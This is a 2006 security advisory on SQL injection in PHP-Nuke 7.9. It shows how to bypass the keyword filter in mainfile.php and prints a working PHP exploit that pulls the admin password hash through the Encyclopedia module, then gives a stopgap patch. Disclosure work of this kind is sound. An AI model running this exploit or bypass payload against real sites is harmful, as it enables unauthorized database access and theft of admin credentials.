-==PHP Nuke <= 7.9 SQL Injection and Bypass SQL Injection Protection vulnerabilities==-

2006-10-26T00:00:00
ID SECURITYVULNS:DOC:14815
Type securityvulns
Reporter Securityvulns
Modified 2006-10-26T00:00:00

Description

/*

[N]eo [S]ecurity [T]eam [NST] - Advisory 27 - 2006-10-22

Program: PHP Nuke Homepage: http://www.php.net Vulnerable Versions: PHP Nuke <= 7.9 Risk: High! Impact: Critical Risk

-==PHP Nuke <= 7.9 SQL Injection and Bypass SQL Injection Protection vulnerabilities==-

- Description

PHP-Nuke is a news automated system specially designed to be used in Intranets and Internet. The Administrator has total control of his web site, registered users, and he will have in the hand a powerful assembly of tools to maintain an active and 100% interactive web site using databases.

- Tested

localhost & many sites

- Vulnerability Description

The most important and critical vulnerability is in the code designed to filter the POST inputs to protect the script against SQL Injections.

==[ mainfile.php 143-146 ]========================== [...] if (stripos_clone($postString,'%20union%20') OR stripos_clone($postString,'/union/') OR stripos_clone($postString,' union ') OR stripos_clone($postString_64,'%20union%20') OR stripos_clone($postString_64,'/union/') OR stripos_clone($postString_64,' union ') OR stripos_clone($postString_64,'+union+')) { header("Location: index.php"); die(); } [...] ==[ end mainfile.php ]==============================

The protection is very good... but we can bypass it by using something like '//UNION ' or ' UNION//' ;)

Also i found a SQL Injection vulnerability in the Encyclopedia module. The "eid" variable isn't filtered at any moment, so if we bypass the sql injection protection we can execute arbitrary sql commands. With a simple UNION statement we get the md5 hash of the admin password.

Here is the real life Proof of Concept exploit.

==Real Proof of Concept exploit== <? /*

Neo Security Team - Exploit made by Paisterist on 2006-10-22 http://www.neosecurityteam.net

*/

$host="localhost"; $path="/phpnuke/"; $prefix="nuke_"; $port="80"; $fp = fsockopen($host, $port, $errno, $errstr, 30); $data="query=fooaa&eid=foo'/**/UNION SELECT pwd as title FROM $prefix_authors WHERE '1'='1";

if ($fp) { $p="POST /phpnuke/modules.php?name=Encyclopedia&file=search HTTP/1.0\r\n"; $p.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, /\r\n"; $p.="Referer: http://localhost/phpnuke/modules.php?name=Encyclopedia&file=search\r\n";

$p.="Accept-Language: es-ar\r\n"; $p.="Content-Type: application/x-www-form-urlencoded\r\n"; $p.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n"; $p.="Host: localhost\r\n"; $p.="Content-Length: ".strlen($data)."\r\n"; $p.="Pragma: no-cache\r\n"; $p.="Connection: keep-alive\r\n\r\n"; $p.=$data;

fwrite($fp, $p);

while (!feof($fp)) { $content .= fread($fp, 4096); }

preg_match("/([a-zA-Z0-9]{32})/", $content, $matches);

print_r($matches); } ?> ==Real Proof of Concept exploit==

Whit this PoC code i get the md5 hash of the first admin (God) of the nuke_authors table.

- How to fix it? More information?

You can found a patch on http://www.neosecurityteam.net/foro/

Also, you can modify the line 143 of mainfile.php, adding one more protection like:

==[ mainfile.php old line (143) ]========================== [...] if (stripos_clone($postString,'%20union%20') OR stripos_clone($postString,'/union/') OR stripos_clone($postString,' union ') OR stripos_clone($postString_64,'%20union%20') OR stripos_clone($postString_64,'/union/') OR stripos_clone($postString_64,' union ') OR stripos_clone($postString_64,'+union+')) { } [...] ==[ end mainfile.php ]=====================================

==[ mainfile.php new line (143) ]========================== [...] if (stripos_clone($postString,'%20union%20') OR stripos_clone($postString,'/union/') OR stripos_clone($postString,' union ') OR stripos_clone($postString_64,'%20union%20') OR stripos_clone($postString_64,'/union/') OR stripos_clone($postString_64,' union ') OR stripos_clone($postString_64,'+union+') OR stripos_clone($postString_64, '/UNION ') OR stripos_clone($postString_64, ' UNION/')) { } [...] ==[ end mainfile.php ]=====================================

That's a momentary solution to the problem. I recommend to download the PHP Nuke 8.0 version in the next days... it is not free at the moment.

- References

http://www.neosecurityteam.net/index.php?action=advisories&id=27

- Credits

Anti SQL Injection protection bypass by Paisterist -> paisterist.nst [at] gmail [dot] com SQL Injection vulnerability in Encyclopedia module discovered by Paisterist -> paisterist.nst [at] gmail [dot] com Proof of Concept exploit by Paisterist -> paisterist.nst [at] gmail [dot] com

[N]eo [S]ecurity [T]eam [NST] - http://www.neosecurityteam.net/

- Greets

HaCkZaTaN K4P0 Daemon21 Link 0m3gA_x LINUX nitrous m0rpheus nikyt0x KingMetal Knightmare

Argentina, Colombia, Chile, Bolivia, Uruguay EXISTS!!

@@@@'''@@@@'@@@@@@@@@'@@@@@@@@@@@ '@@@@@''@@'@@@''''''''@@''@@@''@@ '@@'@@@@@@''@@@@@@ @@@'''''@@@ '@@'''@@@@'''''''''@@@''''@@@ @@@@''''@@'@@@@@@@@@@''''@@@@@

/ EOF /